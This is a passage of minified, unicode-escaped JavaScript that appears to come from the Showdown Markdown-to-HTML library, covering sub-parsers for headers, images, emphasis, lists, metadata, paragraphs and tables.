\u005ct]*(?\u003d\u005cn{2,}))/g,p.subParser(\u0022makehtml.hashElement\u0022)(g,A,r)),g\u003dr.converter._dispatch(\u0022makehtml.hashHTMLBlocks.after\u0022,g,A,r)}),p.subParser(\u0022makehtml.hashHTMLSpans\u0022,function(g,A,e){\u0022use strict\u0022;function C(g){return\u0022¨C\u0022+(e.gHtmlSpans.push(g)-1)+\u0022C\u0022}return g\u003d(g\u003d(g\u003d(g\u003d(g\u003de.converter._dispatch(\u0022makehtml.hashHTMLSpans.before\u0022,g,A,e)).replace(/\u003c[^\u003e]+?\u005c/\u003e/gi,function(g){return C(g)})).replace(/\u003c([^\u003e]+?)\u003e[\u005cs\u005cS]*?\u003c\u005c/\u005c1\u003e/g,function(g){return C(g)})).replace(/\u003c([^\u003e]+?)\u005cs[^\u003e]+?\u003e[\u005cs\u005cS]*?\u003c\u005c/\u005c1\u003e/g,function(g){return C(g)})).replace(/\u003c[^\u003e]+?\u003e/gi,function(g){return C(g)}),g\u003de.converter._dispatch(\u0022makehtml.hashHTMLSpans.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.unhashHTMLSpans\u0022,function(g,A,e){\u0022use strict\u0022;g\u003de.converter._dispatch(\u0022makehtml.unhashHTMLSpans.before\u0022,g,A,e);for(var C\u003d0;C\u003ce.gHtmlSpans.length;++C){for(var I\u003de.gHtmlSpans[C],r\u003d0;/¨C(\u005cd+)C/.test(I);){var t\u003dRegExp.$1;if(I\u003dI.replace(\u0022¨C\u0022+t+\u0022C\u0022,e.gHtmlSpans[t]),10\u003d\u003d\u003dr){console.error(\u0022maximum nesting of 10 spans reached!!!\u0022);break}++r}g\u003dg.replace(\u0022¨C\u0022+C+\u0022C\u0022,I)}return g\u003de.converter._dispatch(\u0022makehtml.unhashHTMLSpans.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.hashPreCodeTags\u0022,function(g,r,t){\u0022use strict\u0022;g\u003dt.converter._dispatch(\u0022makehtml.hashPreCodeTags.before\u0022,g,r,t);return g\u003dp.helper.replaceRecursiveRegExp(g,function(g,A,e,C){var I\u003de+p.subParser(\u0022makehtml.encodeCode\u0022)(A,r,t)+C;return\u0022\u005cn\u005cn¨G\u0022+(t.ghCodeBlocks.push({text:g,codeblock:I})-1)+\u0022G\u005cn\u005cn\u0022},\u0022^ {0,3}\u003cpre\u005c\u005cb[^\u003e]*\u003e\u005c\u005cs*\u003ccode\u005c\u005cb[^\u003e]*\u003e\u0022,\u0022^ {0,3}\u003c/code\u003e\u005c\u005cs*\u003c/pre\u003e\u0022,\u0022gim\u0022),g\u003dt.converter._dispatch(\u0022makehtml.hashPreCodeTags.after\u0022,g,r,t)}),p.subParser(\u0022makehtml.headers\u0022,function(g,n,o){\u0022use strict\u0022;g\u003do.converter._dispatch(\u0022makehtml.headers.before\u0022,g,n,o);var s\u003disNaN(parseInt(n.headerLevelStart))?1:parseInt(n.headerLevelStart),A\u003dn.smoothLivePreview?/^(.+)[ \u005ct]*\u005cn\u003d{2,}[ \u005ct]*\u005cn+/gm:/^(.+)[ \u005ct]*\u005cn\u003d+[ \u005ct]*\u005cn+/gm,e\u003dn.smoothLivePreview?/^(.+)[ \u005ct]*\u005cn-{2,}[ \u005ct]*\u005cn+/gm:/^(.+)[ \u005ct]*\u005cn-+[ \u005ct]*\u005cn+/gm;g\u003d(g\u003dg.replace(A,function(g,A){var e\u003dp.subParser(\u0022makehtml.spanGamut\u0022)(A,n,o),C\u003dn.noHeaderId?\u0022\u0022:' id\u003d\u0022'+i(A)+'\u0022',I\u003d\u0022\u003ch\u0022+s+C+\u0022\u003e\u0022+e+\u0022\u003c/h\u0022+s+\u0022\u003e\u0022;return p.subParser(\u0022makehtml.hashBlock\u0022)(I,n,o)})).replace(e,function(g,A){var e\u003dp.subParser(\u0022makehtml.spanGamut\u0022)(A,n,o),C\u003dn.noHeaderId?\u0022\u0022:' id\u003d\u0022'+i(A)+'\u0022',I\u003ds+1,r\u003d\u0022\u003ch\u0022+I+C+\u0022\u003e\u0022+e+\u0022\u003c/h\u0022+I+\u0022\u003e\u0022;return p.subParser(\u0022makehtml.hashBlock\u0022)(r,n,o)});var C\u003dn.requireSpaceBeforeHeadingText?/^(#{1,6})[ \u005ct]+(.+?)[ \u005ct]*#*\u005cn+/gm:/^(#{1,6})[ \u005ct]*(.+?)[ \u005ct]*#*\u005cn+/gm;function i(g){var A,e;if(n.customizedHeaderId){var C\u003dg.match(/\u005c{([^{]+?)}\u005cs*$/);C\u0026\u0026C[1]\u0026\u0026(g\u003dC[1])}return A\u003dg,e\u003dp.helper.isString(n.prefixHeaderId)?n.prefixHeaderId:!0\u003d\u003d\u003dn.prefixHeaderId?\u0022section-\u0022:\u0022\u0022,n.rawPrefixHeaderId||(A\u003de+A),A\u003dn.ghCompatibleHeaderId?A.replace(/ /g,\u0022-\u0022).replace(/\u0026amp;/g,\u0022\u0022).replace(/¨T/g,\u0022\u0022).replace(/¨D/g,\u0022\u0022).replace(/[\u0026+$,\u005c/:;\u003d?@\u0022#{}|^¨~\u005c[\u005c]`\u005c\u005c*)(%.!'\u003c\u003e]/g,\u0022\u0022).toLowerCase():n.rawHeaderId?A.replace(/ /g,\u0022-\u0022).replace(/\u0026amp;/g,\u0022\u0026\u0022).replace(/¨T/g,\u0022¨\u0022).replace(/¨D/g,\u0022$\u0022).replace(/[\u0022']/g,\u0022-\u0022).toLowerCase():A.replace(/[^\u005cw]/g,\u0022\u0022).toLowerCase(),n.rawPrefixHeaderId\u0026\u0026(A\u003de+A),o.hashLinkCounts[A]?A\u003dA+\u0022-\u0022+o.hashLinkCounts[A]++:o.hashLinkCounts[A]\u003d1,A}return g\u003dg.replace(C,function(g,A,e){var C\u003de;n.customizedHeaderId\u0026\u0026(C\u003de.replace(/\u005cs?\u005c{([^{]+?)}\u005cs*$/,\u0022\u0022));var I\u003dp.subParser(\u0022makehtml.spanGamut\u0022)(C,n,o),r\u003dn.noHeaderId?\u0022\u0022:' id\u003d\u0022'+i(e)+'\u0022',t\u003ds-1+A.length,a\u003d\u0022\u003ch\u0022+t+r+\u0022\u003e\u0022+I+\u0022\u003c/h\u0022+t+\u0022\u003e\u0022;return p.subParser(\u0022makehtml.hashBlock\u0022)(a,n,o)}),g\u003do.converter._dispatch(\u0022makehtml.headers.after\u0022,g,n,o)}),p.subParser(\u0022makehtml.horizontalRule\u0022,function(g,A,e){\u0022use strict\u0022;g\u003de.converter._dispatch(\u0022makehtml.horizontalRule.before\u0022,g,A,e);var C\u003dp.subParser(\u0022makehtml.hashBlock\u0022)(\u0022\u003chr /\u003e\u0022,A,e);return g\u003d(g\u003d(g\u003dg.replace(/^ {0,2}( ?-){3,}[ \u005ct]*$/gm,C)).replace(/^ {0,2}( ?\u005c*){3,}[ \u005ct]*$/gm,C)).replace(/^ {0,2}( ?_){3,}[ \u005ct]*$/gm,C),g\u003de.converter._dispatch(\u0022makehtml.horizontalRule.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.images\u0022,function(g,A,l){\u0022use strict\u0022;function n(g,A,e,C,I,r,t,a){var n\u003dl.gUrls,o\u003dl.gTitles,s\u003dl.gDimensions;if(e\u003de.toLowerCase(),a||(a\u003d\u0022\u0022),-1\u003cg.search(/\u005c(\u003c?\u005cs*\u003e? ?(['\u0022].*['\u0022])?\u005c)$/m))C\u003d\u0022\u0022;else if(\u0022\u0022\u003d\u003d\u003dC||null\u003d\u003d\u003dC){if(\u0022\u0022!\u003d\u003de\u0026\u0026null!\u003d\u003de||(e\u003dA.toLowerCase().replace(/ ?\u005cn/g,\u0022 \u0022)),C\u003d\u0022#\u0022+e,p.helper.isUndefined(n[e]))return g;C\u003dn[e],p.helper.isUndefined(o[e])||(a\u003do[e]),p.helper.isUndefined(s[e])||(I\u003ds[e].width,r\u003ds[e].height)}A\u003dA.replace(/\u0022/g,\u0022\u0026quot;\u0022).replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback);var i\u003d'\u003cimg src\u003d\u0022'+(C\u003dC.replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback))+'\u0022 alt\u003d\u0022'+A+'\u0022';return a\u0026\u0026(i+\u003d' title\u003d\u0022'+(a\u003da.replace(/\u0022/g,\u0022\u0026quot;\u0022).replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback))+'\u0022'),I\u0026\u0026r\u0026\u0026(i+\u003d' width\u003d\u0022'+(I\u003d\u0022*\u0022\u003d\u003d\u003dI?\u0022auto\u0022:I)+'\u0022',i+\u003d' height\u003d\u0022'+(r\u003d\u0022*\u0022\u003d\u003d\u003dr?\u0022auto\u0022:r)+'\u0022'),i+\u003d\u0022 /\u003e\u0022}return g\u003d(g\u003d(g\u003d(g\u003d(g\u003d(g\u003dl.converter._dispatch(\u0022makehtml.images.before\u0022,g,A,l)).replace(/!\u005c[([^\u005c]]*?)] ?(?:\u005cn *)?\u005c[([\u005cs\u005cS]*?)]()()()()()/g,n)).replace(/!\u005c[([^\u005c]]*?)][ \u005ct]*()\u005c([ \u005ct]?\u003c?(data:.+?\u005c/.+?;base64,[A-Za-z0-9+/\u003d\u005cn]+?)\u003e?(?: \u003d([*\u005cd]+[A-Za-z%]{0,4})x([*\u005cd]+[A-Za-z%]{0,4}))?[ \u005ct]*(?:([\u0022'])([^\u0022]*?)\u005c6)?[ \u005ct]?\u005c)/g,function(g,A,e,C,I,r,t,a){return n(g,A,e,C\u003dC.replace(/\u005cs/g,\u0022\u0022),I,r,0,a)})).replace(/!\u005c[([^\u005c]]*?)][ \u005ct]*()\u005c([ \u005ct]?\u003c([^\u003e]*)\u003e(?: \u003d([*\u005cd]+[A-Za-z%]{0,4})x([*\u005cd]+[A-Za-z%]{0,4}))?[ \u005ct]*(?:(?:([\u0022'])([^\u0022]*?)\u005c6))?[ \u005ct]?\u005c)/g,n)).replace(/!\u005c[([^\u005c]]*?)][ \u005ct]*()\u005c([ \u005ct]?\u003c?([\u005cS]+?(?:\u005c([\u005cS]*?\u005c)[\u005cS]*?)?)\u003e?(?: \u003d([*\u005cd]+[A-Za-z%]{0,4})x([*\u005cd]+[A-Za-z%]{0,4}))?[ \u005ct]*(?:([\u0022'])([^\u0022]*?)\u005c6)?[ \u005ct]?\u005c)/g,n)).replace(/!\u005c[([^\u005c[\u005c]]+)]()()()()()/g,n),g\u003dl.converter._dispatch(\u0022makehtml.images.after\u0022,g,A,l)}),p.subParser(\u0022makehtml.italicsAndBold\u0022,function(g,A,e){\u0022use strict\u0022;function C(g,A,e){return A+g+e}return g\u003de.converter._dispatch(\u0022makehtml.italicsAndBold.before\u0022,g,A,e),g\u003dA.literalMidWordUnderscores?(g\u003d(g\u003dg.replace(/\u005cb___(\u005cS[\u005cs\u005cS]*)___\u005cb/g,function(g,A){return C(A,\u0022\u003cstrong\u003e\u003cem\u003e\u0022,\u0022\u003c/em\u003e\u003c/strong\u003e\u0022)})).replace(/\u005cb__(\u005cS[\u005cs\u005cS]*)__\u005cb/g,function(g,A){return C(A,\u0022\u003cstrong\u003e\u0022,\u0022\u003c/strong\u003e\u0022)})).replace(/\u005cb_(\u005cS[\u005cs\u005cS]*?)_\u005cb/g,function(g,A){return C(A,\u0022\u003cem\u003e\u0022,\u0022\u003c/em\u003e\u0022)}):(g\u003d(g\u003dg.replace(/___(\u005cS[\u005cs\u005cS]*?)___/g,function(g,A){return/\u005cS$/.test(A)?C(A,\u0022\u003cstrong\u003e\u003cem\u003e\u0022,\u0022\u003c/em\u003e\u003c/strong\u003e\u0022):g})).replace(/__(\u005cS[\u005cs\u005cS]*?)__/g,function(g,A){return/\u005cS$/.test(A)?C(A,\u0022\u003cstrong\u003e\u0022,\u0022\u003c/strong\u003e\u0022):g})).replace(/_([^\u005cs_][\u005cs\u005cS]*?)_/g,function(g,A){return/\u005cS$/.test(A)?C(A,\u0022\u003cem\u003e\u0022,\u0022\u003c/em\u003e\u0022):g}),g\u003dA.literalMidWordAsterisks?(g\u003d(g\u003dg.replace(/([^*]|^)\u005cB\u005c*\u005c*\u005c*(\u005cS[\u005cs\u005cS]+?)\u005c*\u005c*\u005c*\u005cB(?!\u005c*)/g,function(g,A,e){return C(e,A+\u0022\u003cstrong\u003e\u003cem\u003e\u0022,\u0022\u003c/em\u003e\u003c/strong\u003e\u0022)})).replace(/([^*]|^)\u005cB\u005c*\u005c*(\u005cS[\u005cs\u005cS]+?)\u005c*\u005c*\u005cB(?!\u005c*)/g,function(g,A,e){return C(e,A+\u0022\u003cstrong\u003e\u0022,\u0022\u003c/strong\u003e\u0022)})).replace(/([^*]|^)\u005cB\u005c*(\u005cS[\u005cs\u005cS]+?)\u005c*\u005cB(?!\u005c*)/g,function(g,A,e){return C(e,A+\u0022\u003cem\u003e\u0022,\u0022\u003c/em\u003e\u0022)}):(g\u003d(g\u003dg.replace(/\u005c*\u005c*\u005c*(\u005cS[\u005cs\u005cS]*?)\u005c*\u005c*\u005c*/g,function(g,A){return/\u005cS$/.test(A)?C(A,\u0022\u003cstrong\u003e\u003cem\u003e\u0022,\u0022\u003c/em\u003e\u003c/strong\u003e\u0022):g})).replace(/\u005c*\u005c*(\u005cS[\u005cs\u005cS]*?)\u005c*\u005c*/g,function(g,A){return/\u005cS$/.test(A)?C(A,\u0022\u003cstrong\u003e\u0022,\u0022\u003c/strong\u003e\u0022):g})).replace(/\u005c*([^\u005cs*][\u005cs\u005cS]*?)\u005c*/g,function(g,A){return/\u005cS$/.test(A)?C(A,\u0022\u003cem\u003e\u0022,\u0022\u003c/em\u003e\u0022):g}),g\u003de.converter._dispatch(\u0022makehtml.italicsAndBold.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.lists\u0022,function(g,i,s){\u0022use strict\u0022;function l(g,A){s.gListLevel++,g\u003dg.replace(/\u005cn{2,}$/,\u0022\u005cn\u0022);var e\u003d/(\u005cn)?(^ {0,3})([*+-]|\u005cd+[.])[ \u005ct]+((\u005c[(x|X| )?])?[ \u005ct]*[^\u005cr]+?(\u005cn{1,2}))(?\u003d\u005cn*(¨0| {0,3}([*+-]|\u005cd+[.])[ \u005ct]+))/gm,o\u003d/\u005cn[ \u005ct]*\u005cn(?!¨0)/.test(g+\u003d\u0022¨0\u0022);return i.disableForced4SpacesIndentedSublists\u0026\u0026(e\u003d/(\u005cn)?(^ {0,3})([*+-]|\u005cd+[.])[ \u005ct]+((\u005c[(x|X| )?])?[ \u005ct]*[^\u005cr]+?(\u005cn{1,2}))(?\u003d\u005cn*(¨0|\u005c2([*+-]|\u005cd+[.])[ \u005ct]+))/gm),g\u003d(g\u003dg.replace(e,function(g,A,e,C,I,r,t){t\u003dt\u0026\u0026\u0022\u0022!\u003d\u003dt.trim();var a\u003dp.subParser(\u0022makehtml.outdent\u0022)(I,i,s),n\u003d\u0022\u0022;return r\u0026\u0026i.tasklists\u0026\u0026(n\u003d' class\u003d\u0022task-list-item\u0022 style\u003d\u0022list-style-type: none;\u0022',a\u003da.replace(/^[ \u005ct]*\u005c[(x|X| )?]/m,function(){var g\u003d'\u003cinput type\u003d\u0022checkbox\u0022 disabled style\u003d\u0022margin: 0px 0.35em 0.25em -1.6em; vertical-align: middle;\u0022';return t\u0026\u0026(g+\u003d\u0022 checked\u0022),g+\u003d\u0022\u003e\u0022})),a\u003da.replace(/^([-*+]|\u005cd\u005c.)[ \u005ct]+[\u005cS\u005cn ]*/g,function(g){return\u0022¨A\u0022+g}),A||-1\u003ca.search(/\u005cn{2,}/)?(a\u003dp.subParser(\u0022makehtml.githubCodeBlocks\u0022)(a,i,s),a\u003dp.subParser(\u0022makehtml.blockGamut\u0022)(a,i,s)):(a\u003d(a\u003dp.subParser(\u0022makehtml.lists\u0022)(a,i,s)).replace(/\u005cn$/,\u0022\u0022),a\u003d(a\u003dp.subParser(\u0022makehtml.hashHTMLBlocks\u0022)(a,i,s)).replace(/\u005cn\u005cn+/g,\u0022\u005cn\u005cn\u0022),a\u003do?p.subParser(\u0022makehtml.paragraphs\u0022)(a,i,s):p.subParser(\u0022makehtml.spanGamut\u0022)(a,i,s)),a\u003d\u0022\u003cli\u0022+n+\u0022\u003e\u0022+(a\u003da.replace(\u0022¨A\u0022,\u0022\u0022))+\u0022\u003c/li\u003e\u005cn\u0022})).replace(/¨0/g,\u0022\u0022),s.gListLevel--,A\u0026\u0026(g\u003dg.replace(/\u005cs+$/,\u0022\u0022)),g}function c(g,A){if(\u0022ol\u0022\u003d\u003d\u003dA){var e\u003dg.match(/^ *(\u005cd+)\u005c./);if(e\u0026\u0026\u00221\u0022!\u003d\u003de[1])return' start\u003d\u0022'+e[1]+'\u0022'}return\u0022\u0022}function I(I,r,t){var a\u003di.disableForced4SpacesIndentedSublists?/^ ?\u005cd+\u005c.[ \u005ct]/gm:/^ {0,3}\u005cd+\u005c.[ \u005ct]/gm,n\u003di.disableForced4SpacesIndentedSublists?/^ ?[*+-][ \u005ct]/gm:/^ {0,3}[*+-][ \u005ct]/gm,o\u003d\u0022ul\u0022\u003d\u003d\u003dr?a:n,s\u003d\u0022\u0022;if(-1!\u003d\u003dI.search(o))!function g(A){var e\u003dA.search(o),C\u003dc(I,r);-1!\u003d\u003de?(s+\u003d\u0022\u005cn\u005cn\u003c\u0022+r+C+\u0022\u003e\u005cn\u0022+l(A.slice(0,e),!!t)+\u0022\u003c/\u0022+r+\u0022\u003e\u005cn\u0022,o\u003d\u0022ul\u0022\u003d\u003d\u003d(r\u003d\u0022ul\u0022\u003d\u003d\u003dr?\u0022ol\u0022:\u0022ul\u0022)?a:n,g(A.slice(e))):s+\u003d\u0022\u005cn\u005cn\u003c\u0022+r+C+\u0022\u003e\u005cn\u0022+l(A,!!t)+\u0022\u003c/\u0022+r+\u0022\u003e\u005cn\u0022}(I);else{var g\u003dc(I,r);s\u003d\u0022\u005cn\u005cn\u003c\u0022+r+g+\u0022\u003e\u005cn\u0022+l(I,!!t)+\u0022\u003c/\u0022+r+\u0022\u003e\u005cn\u0022}return s}return g\u003ds.converter._dispatch(\u0022lists.before\u0022,g,i,s),g+\u003d\u0022¨0\u0022,g\u003d(g\u003ds.gListLevel?g.replace(/^(( {0,3}([*+-]|\u005cd+[.])[ \u005ct]+)[^\u005cr]+?(¨0|\u005cn{2,}(?\u003d\u005cS)(?![ \u005ct]*(?:[*+-]|\u005cd+[.])[ \u005ct]+)))/gm,function(g,A,e){return I(A,-1\u003ce.search(/[*+-]/g)?\u0022ul\u0022:\u0022ol\u0022,!0)}):g.replace(/(\u005cn\u005cn|^\u005cn?)(( {0,3}([*+-]|\u005cd+[.])[ \u005ct]+)[^\u005cr]+?(¨0|\u005cn{2,}(?\u003d\u005cS)(?![ \u005ct]*(?:[*+-]|\u005cd+[.])[ \u005ct]+)))/gm,function(g,A,e,C){return I(e,-1\u003cC.search(/[*+-]/g)?\u0022ul\u0022:\u0022ol\u0022,!1)})).replace(/¨0/,\u0022\u0022),g\u003ds.converter._dispatch(\u0022makehtml.lists.after\u0022,g,i,s)}),p.subParser(\u0022makehtml.metadata\u0022,function(g,A,C){\u0022use strict\u0022;if(!A.metadata)return g;function I(g){(g\u003d(g\u003d(C.metadata.raw\u003dg).replace(/\u0026/g,\u0022\u0026amp;\u0022).replace(/\u0022/g,\u0022\u0026quot;\u0022)).replace(/\u005cn {4}/g,\u0022 \u0022)).replace(/^([\u005cS ]+): +([\u005cs\u005cS]+?)$/gm,function(g,A,e){return C.metadata.parsed[A]\u003de,\u0022\u0022})}return g\u003d(g\u003d(g\u003d(g\u003dC.converter._dispatch(\u0022makehtml.metadata.before\u0022,g,A,C)).replace(/^\u005cs*«««+(\u005cS*?)\u005cn([\u005cs\u005cS]+?)\u005cn»»»+\u005cn/,function(g,A,e){return I(e),\u0022¨M\u0022})).replace(/^\u005cs*---+(\u005cS*?)\u005cn([\u005cs\u005cS]+?)\u005cn---+\u005cn/,function(g,A,e){return A\u0026\u0026(C.metadata.format\u003dA),I(e),\u0022¨M\u0022})).replace(/¨M/g,\u0022\u0022),g\u003dC.converter._dispatch(\u0022makehtml.metadata.after\u0022,g,A,C)}),p.subParser(\u0022makehtml.outdent\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003d(g\u003d(g\u003de.converter._dispatch(\u0022makehtml.outdent.before\u0022,g,A,e)).replace(/^(\u005ct|[ ]{1,4})/gm,\u0022¨0\u0022)).replace(/¨0/g,\u0022\u0022),g\u003de.converter._dispatch(\u0022makehtml.outdent.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.paragraphs\u0022,function(g,A,e){\u0022use strict\u0022;for(var C\u003d(g\u003d(g\u003d(g\u003de.converter._dispatch(\u0022makehtml.paragraphs.before\u0022,g,A,e)).replace(/^\u005cn+/g,\u0022\u0022)).replace(/\u005cn+$/g,\u0022\u0022)).split(/\u005cn{2,}/g),I\u003d[],r\u003dC.length,t\u003d0;t\u003cr;t++){var a\u003dC[t];0\u003c\u003da.search(/¨(K|G)(\u005cd+)\u005c1/g)?I.push(a):0\u003c\u003da.search(/\u005cS/)\u0026\u0026(a\u003d(a\u003dp.subParser(\u0022makehtml.spanGamut\u0022)(a,A,e)).replace(/^([ \u005ct]*)/g,\u0022\u003cp\u003e\u0022),a+\u003d\u0022\u003c/p\u003e\u0022,I.push(a))}for(r\u003dI.length,t\u003d0;t\u003cr;t++){for(var n\u003d\u0022\u0022,o\u003dI[t],s\u003d!1;/¨(K|G)(\u005cd+)\u005c1/.test(o);){var i\u003dRegExp.$1,l\u003dRegExp.$2;n\u003d(n\u003d\u0022K\u0022\u003d\u003d\u003di?e.gHtmlBlocks[l]:s?p.subParser(\u0022makehtml.encodeCode\u0022)(e.ghCodeBlocks[l].text,A,e):e.ghCodeBlocks[l].codeblock).replace(/\u005c$/g,\u0022$$$$\u0022),o\u003do.replace(/(\u005cn\u005cn)?¨(K|G)\u005cd+\u005c2(\u005cn\u005cn)?/,n),/^\u003cpre\u005cb[^\u003e]*\u003e\u005cs*\u003ccode\u005cb[^\u003e]*\u003e/.test(o)\u0026\u0026(s\u003d!0)}I[t]\u003do}return g\u003d(g\u003d(g\u003dI.join(\u0022\u005cn\u0022)).replace(/^\u005cn+/g,\u0022\u0022)).replace(/\u005cn+$/g,\u0022\u0022),e.converter._dispatch(\u0022makehtml.paragraphs.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.runExtension\u0022,function(g,A,e,C){\u0022use strict\u0022;if(g.filter)A\u003dg.filter(A,C.converter,e);else if(g.regex){var I\u003dg.regex;I instanceof RegExp||(I\u003dnew RegExp(I,\u0022g\u0022)),A\u003dA.replace(I,g.replace)}return A}),p.subParser(\u0022makehtml.spanGamut\u0022,function(g,A,e){\u0022use strict\u0022;return g\u003de.converter._dispatch(\u0022smakehtml.panGamut.before\u0022,g,A,e),g\u003dp.subParser(\u0022makehtml.codeSpans\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.escapeSpecialCharsWithinTagAttributes\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.encodeBackslashEscapes\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.images\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.anchors\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.autoLinks\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.simplifiedAutoLinks\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.emoji\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.underline\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.italicsAndBold\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.strikethrough\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.ellipsis\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.hashHTMLSpans\u0022)(g,A,e),g\u003dp.subParser(\u0022makehtml.encodeAmpsAndAngles\u0022)(g,A,e),A.simpleLineBreaks?/\u005cn\u005cn¨K/.test(g)||(g\u003dg.replace(/\u005cn+/g,\u0022\u003cbr /\u003e\u005cn\u0022)):g\u003dg.replace(/ +\u005cn/g,\u0022\u003cbr /\u003e\u005cn\u0022),g\u003de.converter._dispatch(\u0022makehtml.spanGamut.after\u0022,g,A,e)}),p.subParser(\u0022makehtml.strikethrough\u0022,function(g,C,I){\u0022use strict\u0022;return C.strikethrough\u0026\u0026(g\u003d(g\u003dI.converter._dispatch(\u0022makehtml.strikethrough.before\u0022,g,C,I)).replace(/(?:~){2}([\u005cs\u005cS]+?)(?:~){2}/g,function(g,A){return e\u003dA,C.simplifiedAutoLink\u0026\u0026(e\u003dp.subParser(\u0022makehtml.simplifiedAutoLinks\u0022)(e,C,I)),\u0022\u003cdel\u003e\u0022+e+\u0022\u003c/del\u003e\u0022;var e}),g\u003dI.converter._dispatch(\u0022makehtml.strikethrough.after\u0022,g,C,I)),g}),p.subParser(\u0022makehtml.stripLinkDefinitions\u0022,function(g,a,n){\u0022use strict\u0022;var A\u003dfunction(g,A,e,C,I,r,t){return A\u003dA.toLowerCase(),e.match(/^data:.+?\u005c/.+?;base64,/)?n.gUrls[A]\u003de.replace(/\u005cs/g,\u0022\u0022):n.gUrls[A]\u003dp.subParser(\u0022makehtml.encodeAmpsAndAngles\u0022)(e,a,n),r?r+t:(t\u0026\u0026(n.gTitles[A]\u003dt.replace(/\u0022|'/g,\u0022\u0026quot;\u0022)),a.parseImgDimensions\u0026\u0026C\u0026\u0026I\u0026\u0026(n.gDimensions[A]\u003d{width:C,height:I}),\u0022\u0022)};return g\u003d(g\u003d(g\u003d(g+\u003d\u0022¨0\u0022).replace(/^ {0,3}\u005c[(.+)]:[ \u005ct]*\u005cn?[ \u005ct]*\u003c?(data:.+?\u005c/.+?;base64,[A-Za-z0-9+/\u003d\u005cn]+?)\u003e?(?: \u003d([*\u005cd]+[A-Za-z%]{0,4})x([*\u005cd]+[A-Za-z%]{0,4}))?[ \u005ct]*\u005cn?[ \u005ct]*(?:(\u005cn*)[\u0022|'(](.+?)[\u0022|')][ \u005ct]*)?(?:\u005cn\u005cn|(?\u003d¨0)|(?\u003d\u005cn\u005c[))/gm,A)).replace(/^ {0,3}\u005c[(.+)]:[ \u005ct]*\u005cn?[ \u005ct]*\u003c?([^\u003e\u005cs]+)\u003e?(?: \u003d([*\u005cd]+[A-Za-z%]{0,4})x([*\u005cd]+[A-Za-z%]{0,4}))?[ \u005ct]*\u005cn?[ \u005ct]*(?:(\u005cn*)[\u0022|'(](.+?)[\u0022|')][ \u005ct]*)?(?:\u005cn+|(?\u003d¨0))/gm,A)).replace(/¨0/,\u0022\u0022)}),p.subParser(\u0022makehtml.tables\u0022,function(g,m,d){\u0022use strict\u0022;if(!m.tables)return g;function A(g){var A,e\u003dg.split(\u0022\u005cn\u0022);for(A\u003d0;A\u003ce.length;++A)/^ {0,3}\u005c|/.test(e[A])\u0026\u0026(e[A]\u003de[A].replace(/^ {0,3}\u005c|/,\u0022\u0022)),/\u005c|[ \u005ct]*$/.test(e[A])\u0026\u0026(e[A]\u003de[A].replace(/\u005c|[ \u005ct]*$/,\u0022\u0022)),e[A]\u003dp.subParser(\u0022makehtml.codeSpans\u0022)(e[A],m,d);var C,I,r,t,a,n\u003de[0].split(\u0022|\u0022).map(function(g){return g.trim()}),o\u003de[1].split(\u0022|\u0022).map(function(g){return g.trim()}),s\u003d[],i\u003d[],l\u003d[],c\u003d[];for(e.shift(),e.shift(),A\u003d0;A\u003ce.length;++A)\u0022\u0022!\u003d\u003de[A].trim()\u0026\u0026s.push(e[A].split(\u0022|\u0022).map(function(g){return g.trim()}));if(n.length\u003co.length)return g;for(A\u003d0;A\u003co.length;++A)l.push((C\u003do[A],/^:[ \u005ct]*--*$/.test(C)?' style\u003d\u0022text-align:left;\u0022':/^--*[ \u005ct]*:[ \u005ct]*$/.test(C)?' style\u003d\u0022text-align:right;\u0022':/^:[ \u005ct]*--*[ \u005ct]*:$/.test(C)?' style\u003d\u0022text-align:center;\u0022':\u0022\u0022));for(A\u003d0;A\u003cn.length;++A)p.helper.isUndefined(l[A])\u0026\u0026(l[A]\u003d\u0022\u0022),i.push((I\u003dn[A],r\u003dl[A],t\u003dvoid 0,t\u003d\u0022\u0022,I\u003dI.trim(),(m.tablesHeaderId||m.tableHeaderId)\u0026\u0026(t\u003d' id\u003d\u0022'+I.replace(/ /g,\u0022_\u0022).toLowerCase()+'\u0022'),\u0022\u003cth\u0022+t+r+\u0022\u003e\u0022+(I\u003dp.subParser(\u0022makehtml.spanGamut\u0022)(I,m,d))+\u0022\u003c/th\u003e\u005cn\u0022));for(A\u003d0;A\u003cs.length;++A){for(var u\u003d[],h\u003d0;h\u003ci.length;++h)p.helper.isUndefined(s[A][h]),u.push((a\u003ds[A][h],\u0022\u003ctd\u0022+l[h]+\u0022\u003e\u0022+p.subParser(\u0022makehtml.spanGamut\u0022)(a,m,d)+\u0022\u003c/td\u003e\u005cn\u0022));c.push(u)}return function(g,A){for(var e\u003d\u0022\u003ctable\u003e\u005cn\u003cthead\u003e\u005cn\u003ctr\u003e\u005cn\u0022,C\u003dg.length,I\u003d0;I\u003cC;++I)e+\u003dg[I];for(e+\u003d\u0022\u003c/tr\u003e\u005cn\u003c/thead\u003e\u005cn\u003ctbody\u003e\u005cn\u0022,I\u003d0;I\u003cA.length;++I){e+\u003d\u0022\u003ctr\u003e\u005cn\u0022;for(var r\u003d0;r\u003cC;++r)e+\u003dA[I][r];e+\u003d\u0022\u003c/tr\u003e\u005cn\u0022}return e+\u003d\u0022\u003c/tbody\u003e\u005cn\u003c/table\u003e\u005cn\u0022}(i,c)}return 